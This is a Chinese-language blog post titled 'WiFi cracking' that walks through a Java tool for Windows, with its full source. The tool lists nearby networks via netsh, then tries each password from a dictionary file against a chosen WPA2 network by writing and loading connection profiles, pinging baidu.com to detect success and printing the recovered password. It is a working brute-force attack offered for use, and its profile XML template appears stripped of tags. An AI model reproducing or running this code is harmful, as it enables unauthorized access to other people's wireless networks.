WiFi破解

文章目录

  • WiFi破解
    • 效果
    • Cmd工具
    • 字符串工具
    • WiFi工具
    • 连接工具
    • app启动类
    • WiFi密码库
    • 代码地址

WiFi破解

效果

WiFi破解_第1张图片

WiFi破解_第2张图片

Cmd工具

WiFi破解_第3张图片

package com.znkeji.zn_wifi_carck.utils;

import java.io.BufferedReader;
import java.io.File;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.ArrayList;
import java.util.List;

/**
 * @Author zy.xuan
 * @Date 2022/5/4 14:56
 * 

* cmd需要的工具类 */ public class CmdUtils { /** * 该方法封装了执行cmd的方法 * * @param cmd CMD命令 * @param filePath 需要在哪个目录下执行 */ public static List<String> execute(String cmd, String filePath) { Process process = null; List<String> result = new ArrayList<String>(); try { if (filePath != null) { process = Runtime.getRuntime().exec(cmd, null, new File(filePath)); } else { process = Runtime.getRuntime().exec(cmd); } BufferedReader bReader = new BufferedReader(new InputStreamReader(process.getInputStream(), "gbk")); String line = null; while ((line = bReader.readLine()) != null) { result.add(line); } } catch (IOException e) { e.printStackTrace(); } return result; } }

字符串工具

WiFi破解_第4张图片

package com.znkeji.zn_wifi_carck.utils;

/**
 * @Author zy.xuan
 * @Date 2022/5/4 14:56
 * 

* 字符串工具类 */ public class StringUtils { /** * 字符串转换成为16进制(无需Unicode编码) * * @param str * @return */ public static String str2HexStr(String str) { char[] chars = "0123456789ABCDEF".toCharArray(); StringBuilder sb = new StringBuilder(""); byte[] bs = str.getBytes(); int bit; for (int i = 0; i < bs.length; i++) { bit = (bs[i] & 0x0f0) >> 4; sb.append(chars[bit]); bit = bs[i] & 0x0f; sb.append(chars[bit]); // sb.append(' '); } return sb.toString().trim(); } }

WiFi工具

WiFi破解_第5张图片

package com.znkeji.zn_wifi_carck.utils;

/**
 * @Author zy.xuan
 * @Date 2022/5/4 14:56
 * 

* WiFi工具类 */ public class WiFiUtils { /** * 获得wifi配置文件字符串 * * @param WIFI_NAME * @param hex * @param WIFI_PASSWORD * @return */ public static String getWifiStr(String WIFI_NAME, String hex, String WIFI_PASSWORD) { return "\n" + "\n" + "\t" + WIFI_NAME + "\n" + "\t\n" + "\t\t\n" + "\t\t\t" + hex + "\n" + "\t\t\t" + WIFI_NAME + "\n" + "\t\t\n" + "\t\n" + "\tESS\n" + "\tauto\n" + "\t\n" + "\t\t\n" + "\t\t\t\n" + "\t\t\t\tWPA2PSK\n" + "\t\t\t\tAES\n" + "\t\t\t\tfalse\n" + "\t\t\t\n" + "\t\t\t\n" + "\t\t\t\tpassPhrase\n" + "\t\t\t\tfalse\n" + "\t\t\t\t" + WIFI_PASSWORD + "\n" + "\t\t\t\n" + "\t\t\n" + "\t\n" + "\t\n" + "\t\tfalse\n" + "\t\n" + "\n"; } }

连接工具

WiFi破解_第6张图片

package com.znkeji.zn_wifi_carck.utils;

import com.znkeji.zn_wifi_carck.App;
import org.springframework.util.FileCopyUtils;

import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import java.util.Scanner;

/**
 * @Author zy.xuan
 * @Date 2022/5/4 15:00
 */
public class ConnectionUtils {
    public static void connection() throws IOException {
        List<String> wifiList = CmdUtils.execute("netsh wlan show networks mode=bssid", "./");
        List<String> ssidList = getSsidList(wifiList);
        for (int i = 0; i < ssidList.size(); i++) {
            System.out.println((i + 1) + "." + ssidList.get(i));
        }
        System.out.println("请输入要破解的wifi:");

        Scanner sca = new Scanner(System.in);
        sca.useDelimiter("\n");
        String ssid = sca.next();

        System.out.println("-----------您选择的wifi为【" + ssid + "】-------------");
        System.out.println("-----------开始破解-------------");

        String path = App.class.getClassLoader().getResource("pwd.txt").getPath();
        BufferedReader reader = new BufferedReader(new FileReader(path));


        String pwd = null;
        int i = 0;
        while ((pwd = reader.readLine()) != null) {

            i++;

            System.out.println("开始连接:" + i + " -->" + ssid + " - " + pwd);
            boolean success = connect(ssid, pwd);
            if (success) {
                System.out.println("连接成功," + ssid + "的密码为" + pwd);
                return;
            }
        }
    }

    /**
     * 连接wifi
     *
     * @param ssid
     * @param wifiPwd
     */
    private static boolean connect(String ssid, String wifiPwd) {
        try {
            String hex = StringUtils.str2HexStr(ssid);
            //生成wifi配置文件
            String wifiConf = WiFiUtils.getWifiStr(ssid, hex, wifiPwd);
            File out = new File("./temp.xml");
            FileCopyUtils.copy(wifiConf.getBytes(), out);
            //添加配置文件
            printList(CmdUtils.execute("netsh wlan add profile filename=temp.xml", "./"));
            ;
            //连接wifi
            printList(CmdUtils.execute("netsh wlan connect name=\"" + ssid + "\"", "./"));
            ;
            //测试网络,使用ping的方式检测网络,此处建议优化改其他效率更高的方式,暂停2000毫秒是因为连接WiFi需要时间,这个时间因环境而异
            CmdUtils.execute("ipconfig", "./");
            Thread.sleep(2000);
            boolean success = ping();
            return success;

        } catch (Exception e) {
            e.printStackTrace();
        }
        return false;
    }

    /**
     * 获得ssidList
     *
     * @param resultList 通过cmd命令查出来的附件WiFi
     * @return
     */
    private static List<String> getSsidList(List<String> resultList) {
        List<String> ssidList = new ArrayList<String>();
        //遍历result获得ssid
        for (String result : resultList) {
            if (result.startsWith("SSID")) {
                String ssid = result.substring(result.indexOf(":") + 2);
                ssidList.add(ssid);
            }
        }
        return ssidList;
    }

    /**
     * 打印list数据
     *
     * @param resultList
     */
    private static void printList(List<String> resultList) {
        for (String result : resultList) {
            System.out.println(result);
        }
    }

    /**
     * ping 校验
     */
    private static boolean ping() {
        boolean pinged = false;
        String cmd = "ping www.baidu.com";
        List<String> result = CmdUtils.execute(cmd, "./");
//        printList(result);
        if (result != null && result.size() > 0) {
            for (String item : result) {
                if (item.contains("来自")) {
                    pinged = true;
                    break;
                }
            }
        }
        return pinged;
    }
}

app启动类

WiFi破解_第7张图片

WiFi密码库

WiFi破解_第8张图片

代码地址

https://gitee.com/xuanyuanzy/wi-fi

你可能感兴趣的:(顺网,java)